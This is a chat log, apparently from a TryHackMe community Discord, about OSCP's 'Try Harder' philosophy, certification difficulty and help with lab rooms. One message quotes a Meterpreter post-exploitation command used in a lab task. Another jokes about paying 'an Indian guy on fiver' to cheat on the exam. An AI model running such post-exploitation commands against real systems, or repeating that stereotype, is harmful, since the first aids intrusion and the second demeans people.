I hated the motto "Try Harder" when I was doing it because I was stressed all the time, but in hindsight, I agree with it

simple kestrel Mar 13, 2020, 11:05 PM

#

@alpine peak oscp is a beginner level training and cert. I agree with @fleet wedge try harder is not a training method. Concepts need to be explained and demonstrated. Training is meant to fill gaps and just saying a phase does not help fill that gap.

chrome valve Mar 13, 2020, 11:08 PM

#

@simple kestrel the most important skill in hacking is research. You need to be able to learn for yourself -- look things up. Teach yourself.
Nothing good comes from being spoon fed. Not past the training wheels anyway, and OSCP makes no claim to be an introductory certification.

#

Try Harder is very much a training methodology, and it's the mindset that we all need to adopt if we're going to get anywhere in the real world

simple kestrel Mar 13, 2020, 11:10 PM

#

They literally say those new to infosec or pentesting should start here

#

Try harder is crap. I agree that a pentesters should be able to research. But if you have a training class telling some one to try harder is not a training method. It is a gap in your training.

#

If it was an advance class or training then yes I could see that.

final vault Mar 13, 2020, 11:14 PM

#

oscp is like a medium rated beginner cert

simple kestrel Mar 13, 2020, 11:14 PM

#

Or something like we taught you reflective xss figure out how to do stored

final vault Mar 13, 2020, 11:14 PM

#

Most pentesters claim it to be easy but you still need a basic knowledge to finish it. Just raw dogging pwk won't be enough

simple kestrel Mar 13, 2020, 11:14 PM

#

It not it says intro to infosec. Go look at the site

chrome valve Mar 13, 2020, 11:14 PM

#

It's foundational for penetration testing -- literally one of the most advanced fields in computer science. I quote here, it's for "those seeking a step up in their skills and career".
That's not to say that it's necessarily hard, but it's also not designed for complete beginners

#

It's designed to train you how to think, and how to use the tools on offer

#

It's not there to hold your hand

simple kestrel Mar 13, 2020, 11:15 PM

#

Foundation

chrome valve Mar 13, 2020, 11:16 PM

#

Notice that it's not a foundation for Linux. It's not a foundation for computer science. It's not a foundation for basic concepts

#

It's a foundation for penetration testing

#

You can't do pentesting unless you're already pretty damn good with computers -- that's literally the original definition of a "hacker": someone good enough to make computers do stuff they ain't meant to do

final vault Mar 13, 2020, 11:17 PM

#

unfortunately pentesting isn't a competency that a regular cs student will know without exposure. It requires dedication

signal pumice Mar 13, 2020, 11:17 PM

#

I'm on the kenobi box but there is no SSH key in the /tmp directory?

chrome valve Mar 13, 2020, 11:17 PM

#

Exactly that ^^

simple kestrel Mar 13, 2020, 11:18 PM

#

I agree @final vault but if you are teaching a foundation class then you need to teach all the concepts.

final vault Mar 13, 2020, 11:18 PM

#

Man I can't justify it anymore than I or muirland has.

chrome valve Mar 13, 2020, 11:18 PM

#

@signal pumice pretty sure you need to move it there yourself

final vault Mar 13, 2020, 11:19 PM

#

just because it's foundation doesn't make it easy

signal pumice Mar 13, 2020, 11:19 PM

#

I'm a fucking idiot, cheers

final vault Mar 13, 2020, 11:19 PM

#

I'm sure the foundations of nuclear fusion isn't easy

chrome valve Mar 13, 2020, 11:19 PM

#

Good way to look at it

simple kestrel Mar 13, 2020, 11:19 PM

#

No

chrome valve Mar 13, 2020, 11:19 PM

#

You can't have a foundation to an advanced topic without building on prior knowledge

simple kestrel Mar 13, 2020, 11:20 PM

#

You had to learn about atoms in order to do nuclear fusion

chrome valve Mar 13, 2020, 11:20 PM

#

You've gotta learn a lot more than that...

simple kestrel Mar 13, 2020, 11:20 PM

#

That what I am saying

chrome valve Mar 13, 2020, 11:20 PM

#

Oh good, so we're agreed? A foundation for an advanced topic needs prior knowledge?

signal pumice Mar 13, 2020, 11:20 PM

#

Read only FS 🤔

final vault Mar 13, 2020, 11:20 PM

#

Yes, and you have to learn about networking fundamentals, software dev and an understanding of at least every part of CS to do pentesting

simple kestrel Mar 13, 2020, 11:21 PM

#

Again everyone opinion different on this.

final vault Mar 13, 2020, 11:21 PM

#

So again they can't tailor a course to spoon feed that

chrome valve Mar 13, 2020, 11:21 PM

#

No. That isn't an opinion, mate.
That's a fact of life

simple kestrel Mar 13, 2020, 11:22 PM

#

Have a training class means that you are training people. And that includes concepts. If people are complaining then you have gaps in your training

chrome valve Mar 13, 2020, 11:22 PM

#

Pentesting is built on top of everything

#

It's literally based on a mastery of computer science

#

hence the salaries

final vault Mar 13, 2020, 11:22 PM

#

At the end of the day this isn't school anymore, pentesting is something we have all chosen to pursue, whether for fun to participate in CTFs or to do it as a career. No one forces you to learn however it is a choice to push yourself to succeed

#

No one in life will give you 100% coverage on everything. PWK is known to give a decent understanding of what is expected, however there will be gaps. Those you should know you have to find out yourself and push to understand them

#

You might struggle with how the material covers those topics. Well bad news time to find another source and try understand it

chrome valve Mar 13, 2020, 11:23 PM

#

And that's the important thing. Pushing yourself. No one is going to be around to hold your hand forever. Research is the most important skill we'll ever learn -- especially for pentesting: a job that literally requires you to know more than you can ever possibly know straight off

final vault Mar 13, 2020, 11:25 PM

#

thank you for coming to our ted talk skidy

chrome valve Mar 13, 2020, 11:25 PM

#

That ^^

simple kestrel Mar 13, 2020, 11:26 PM

#

W/e . It is a matter of opinion.

chrome valve Mar 13, 2020, 11:27 PM

#

Not really, but sure 🤷‍♂️

fleet wedge Mar 13, 2020, 11:36 PM

#

You can never give up, you can never surrender, fight the good fight til the end of the night and always rememeber

final vault Mar 13, 2020, 11:37 PM

#

Unless you're @jovial pawn, then surrender is in your DNA ❤️

#

love you Horse

fleet wedge Mar 13, 2020, 11:37 PM

#

😂 😂 😂 😂 😂

jovial pawn Mar 13, 2020, 11:38 PM

#

I am speechless

toxic temple Mar 13, 2020, 11:39 PM

#

🏳️

#

con comme une valise sans poignée

alpine peak Mar 14, 2020, 12:18 AM

#

📎 Screenshot_from_2020-03-13_19-17-33.jpg

spark iron Mar 14, 2020, 12:19 AM

#

what

#

the

#

hell

#

Is that for you?

alpine peak Mar 14, 2020, 12:19 AM

#

^ So, Nope its not beginner level according to offsec

spark iron Mar 14, 2020, 12:20 AM

#

Weird.

final vault Mar 14, 2020, 12:20 AM

#

^

alpine peak Mar 14, 2020, 12:20 AM

#

I told offsec, I had no experience and they send that to people

spark iron Mar 14, 2020, 12:20 AM

#

Ah sheeiittt

#

Weird, oh well. bad advertising on their behalf.

alpine peak Mar 14, 2020, 12:21 AM

#

Everyone is acting like PWK is beginner level just because they saw it online somewhere, but offsec saids its not

#

tryhackme is actually beginner level

final vault Mar 14, 2020, 12:22 AM

#

^^ It requires a fairly decent knowledge level and the site says that when you go to sign up for the course

#

If I remember reading it correctly last week when I signed up

alpine peak Mar 14, 2020, 12:23 AM

#

I always disagreed with people saying PWK is beginner level, because they literally just expect you to know from the start

toxic temple Mar 14, 2020, 12:24 AM

#

they say it's entry level for their ecosystem iirc, not beginner level

alpine peak Mar 14, 2020, 12:24 AM

#

Well they used the word entry level and said PWK is not that so?

chrome valve Mar 14, 2020, 12:26 AM

#

@simple kestrel -- for the record, that is the official response from offsec ^^

#

Wait for a response to that. It might be necessary...

final vault Mar 14, 2020, 12:27 AM

#

^

#

So what you're saying is I need to bribe g0tmi1k and Owen when I sit my exam

#

gotcha

toxic temple Mar 14, 2020, 12:28 AM

#

nah TJ kekw

#

ye @final vault

final vault Mar 14, 2020, 12:28 AM

#

oof

alpine peak Mar 14, 2020, 12:28 AM

#

They won't take bribes

final vault Mar 14, 2020, 12:29 AM

#

tbh I gotta spend some serious time on windows

toxic temple Mar 14, 2020, 12:29 AM

#

bribes@offensive-security.com

alpine peak Mar 14, 2020, 12:30 AM

#

The company has a pretty large legal dept, so you might get sued for even trying

final vault Mar 14, 2020, 12:30 AM

#

I was joking 😂 but hey

#

Man hasn't got the money to bribe

#

if I did I'd just hire an Indian guy on fiver

alpine peak Mar 14, 2020, 12:31 AM

#

Mentioning the OSCP exam is sketchy to me, because cheating is considered 1st degree murder to them

spark iron Mar 14, 2020, 12:31 AM

#

^ I think thats were they earn most of their money

#

So its threating their livelihood if the certs rep gets damaged.

alpine peak Mar 14, 2020, 12:32 AM

#

they will literally sue you for a lot of money

toxic temple Mar 14, 2020, 12:32 AM

#

OSWP isn't even proctored kekw

alpine peak Mar 14, 2020, 12:32 AM

#

No one really cares about that cert anyway

crimson flame Mar 14, 2020, 12:41 AM

#

OSWP was pretty fun tbh

toxic temple Mar 14, 2020, 12:41 AM

#

just because you speedran it

crimson flame Mar 14, 2020, 12:41 AM

#

only bc OffSec had some issues getting it setup kekw

#

~~and because the challenges department got back to me 30 minutes into the real start of my exam~~

final vault Mar 14, 2020, 12:42 AM

#

😂😂 tbh you did speed run it

crimson flame Mar 14, 2020, 12:42 AM

#

listen

final vault Mar 14, 2020, 12:43 AM

#

Discord chat. Oh there’s one flag, there’s two, there’s 3. Done

crimson flame Mar 14, 2020, 12:43 AM

#

1:30 is pretty impressive time

#

although it could be done faster

alpine peak Mar 14, 2020, 12:43 AM

#

Amazon certs are worth a lot of money now

crimson flame Mar 14, 2020, 12:43 AM

#

Cloud is worth a lot of money in general

#

Azure is becoming a pretty big thing

alpine peak Mar 14, 2020, 12:44 AM

#

Primary AWS and Azure

#

Azure just got into the market way to late and AWS took it

crimson flame Mar 14, 2020, 12:46 AM

#

I've heard a lot more conversations surrounding Azure as of late though

alpine peak Mar 14, 2020, 12:46 AM

#

AWS is 30% of the market and Azure is 16%

#

AWS is still way larger according to the market

crimson flame Mar 14, 2020, 12:46 AM

#

i think cloud is one of the things that needs a lot more exposure in terms of testing

alpine peak Mar 14, 2020, 12:47 AM

#

The security is often the job of the DevOps engineer

crimson flame Mar 14, 2020, 12:48 AM

#

and that explains why there's a security concern of the cloud HYPERLUL

alpine peak Mar 14, 2020, 12:48 AM

#

Depends

#

That's why avarage salary is up to 100,000/year because its hard to find experts with cloud

crimson flame Mar 14, 2020, 12:49 AM

#

fair point

alpine peak Mar 14, 2020, 12:49 AM

#

Linux Academy is profiting from this

fleet wedge Mar 14, 2020, 1:31 AM

#

I love Linux Academy. Another great platform. I passed one of the AWS certs with flying colors just using that

#

Very hands on and quality material and teachers

alpine peak Mar 14, 2020, 1:45 AM

#

I agree, I passed the LPIC1 because of them

digital sonnet Mar 14, 2020, 3:02 PM

#

Hey can I pm anyone for help with skynet? the exploit is not working properly

hidden rivet Mar 14, 2020, 3:09 PM

#

You can DM me if you’d like. On phone though so you’ll probably have to send pics to refresh my memory

safe elm Mar 14, 2020, 4:29 PM

#

Hello everyone, I haven't enrolled yet to any paths but can someone tell me how does the learning path looks like? if that's okay

bronze zenith Mar 14, 2020, 4:35 PM

#

learning path is basically a collection of rooms placed in a strict order so it would give you a right path of learning (so you wouldn't start with harder rooms or wouldn't feel lost)

safe elm Mar 14, 2020, 4:37 PM

#

@bronze zenith thanks for reply, that sounds nice. is it only texts or some video explanation

#

and thanks again for help

#

brb

bronze zenith Mar 14, 2020, 4:38 PM

#

path is rooms (which obviously have text walkthroughs (now even videos))

rotund carbon Mar 14, 2020, 5:54 PM

#

hey

rotund carbon Mar 14, 2020, 6:10 PM

#

hey could i pm anyone for help with 1 step of the hackpark

fleet wedge Mar 14, 2020, 6:20 PM

#

@rotund carbon hi

#

I’m currently working on that one but feel free to PM me

fathom rapids Mar 14, 2020, 6:52 PM

#

After 2 days I m not able to escalate skynet. Never doing the same things on walkthrough

#

Any help?

digital sonnet Mar 14, 2020, 7:30 PM

#

dude just completed skynet after 12 hours going crazy

#

hmu for help

lyric tendon Mar 14, 2020, 9:52 PM

#

I'm on the HackParck Question 4 of Task 4: I used run event_manager.rb -l system but not sure for what I am looking and nothing is standing out

thorn patio Mar 15, 2020, 6:25 AM

#

yes same for me , i need the help on that only @rotund carbon

hard shoal Mar 15, 2020, 10:25 AM

#

I attempted my OSCP exam yesterday and it didn’t go too well. Im just not sure where to go from here.

autumn field Mar 15, 2020, 11:59 AM

#

I'm pretty sure, with a bit more experience you'll make it 🙂

hoary hazel Mar 15, 2020, 12:30 PM

#

guys is this the right place to ask for help re the OSCP-PATH and the vulnversity room?

fleet wedge Mar 15, 2020, 1:15 PM

#

@hard shoal take a week break , and use tryhackme VIP and virtualhackinglab. Don’t despair , it’s an easy test

#

@hoary hazel Yep it is . I did vulnersity, I can guide you with it . PM me if you want

hard shoal Mar 15, 2020, 1:23 PM

#

I done most of The OSCP path on here. I don’t know if I was overthinking stuff or what happen. I just flopped big time.

bronze zenith Mar 15, 2020, 1:29 PM

#

No one can guaranteer that OSCP will give you enough knowledge to pass the oscp exam

#

it is a great way to expand you knowledge

hard shoal Mar 15, 2020, 2:57 PM

#

Yeh for sure Im just not sure where to go from here. As I dont know if I missed stuff or I was trying the right thing in the wrong way.

fleet wedge Mar 15, 2020, 3:35 PM

#

Establish a process, I think that’s important. And you can extrapolate later

#

Besides tryhackme, I like HTB VIP. Have you being there ?

hard shoal Mar 15, 2020, 3:43 PM

#

I had a process just nothing worked as I expected lol was not sure if I was over thinking stuff or just missing really obvious stuff. No I have not done HTB but have watch the recommended video from IPPsec on the OSCP path.

fleet wedge Mar 15, 2020, 3:59 PM

#

I like HTB VIP. I will recommend you the retired boxes

#

I’ve also enjoyed OSCP path here . Some machines may be too easy for you, but it’s a nice refresher .

hard shoal Mar 15, 2020, 4:12 PM

#

Sure thanks I just don't know where I need to improve. I think my Enum was fine but everything I tried didnt work so either I was overthinking stuff or missing something.

fleet wedge Mar 15, 2020, 4:35 PM

#

@hard shoal another great resource at a nice price : https://www.virtualhackinglabs.com

#

We also have a nice discord channel, I’m part of it. With few people who had passed OSCP already

lilac frost Mar 15, 2020, 5:49 PM

#

hello

#

I enrolled yesterday but I cannot find any videos of tutorial or so

#

All I see is questions

#

Pls where can I find tuts

spark iron Mar 15, 2020, 5:50 PM

#

@lilac frost not all rooms have videos yet:)

lilac frost Mar 15, 2020, 5:51 PM

#

The first room did not have videos

spark iron Mar 15, 2020, 5:51 PM

#

Blue and nmap have videos, there are 2 more coming in the next day or so.

#

https://tryhackme.com/hacktivities#video

TryHackMe | Hacktivities

TryHackMe is an online platform for learning and teaching cyber security.

lilac frost Mar 15, 2020, 5:51 PM

#

I am a complete beginner

spark iron Mar 15, 2020, 5:52 PM

#

okai, I would say wait 24 hours - there is a beginner room that is going to include a video

#

Will help you a lot.

#

In the mean time I'd suggest doing a Linux room

#

https://tryhackme.com/room/zthlinux

TryHackMe | zthlinux

TryHackMe is an online platform for learning and teaching cyber security.

lilac frost Mar 15, 2020, 5:54 PM

#

aii thanks

alpine peak Mar 15, 2020, 6:04 PM

#

darkstar does have a good voice for it

spark iron Mar 15, 2020, 6:04 PM

#

@topaz yoke Now you see why:)

alpine peak Mar 15, 2020, 6:05 PM

#

better than my redneck voice 🙂

spark iron Mar 15, 2020, 6:05 PM

#

Never heard you speak I dont think

#

I dont think heard me either

alpine peak Mar 15, 2020, 6:05 PM

#

Yes you have

#

I have

spark iron Mar 15, 2020, 6:05 PM

#

o rly?

fleet wedge Mar 15, 2020, 6:05 PM

#

Mi mi mi mi mi mi

alpine peak Mar 15, 2020, 6:06 PM

#

You interviewed me because I made machines for vulnhub

spark iron Mar 15, 2020, 6:06 PM

#

ohhhhh yeaaahhhh

#

That was such a long time ago

#

Well it feels it

alpine peak Mar 15, 2020, 6:07 PM

#

You're very british, that's what I remember

spark iron Mar 15, 2020, 6:07 PM

#

Aha, I don't sound my age is all I know.

#

But thanks? I think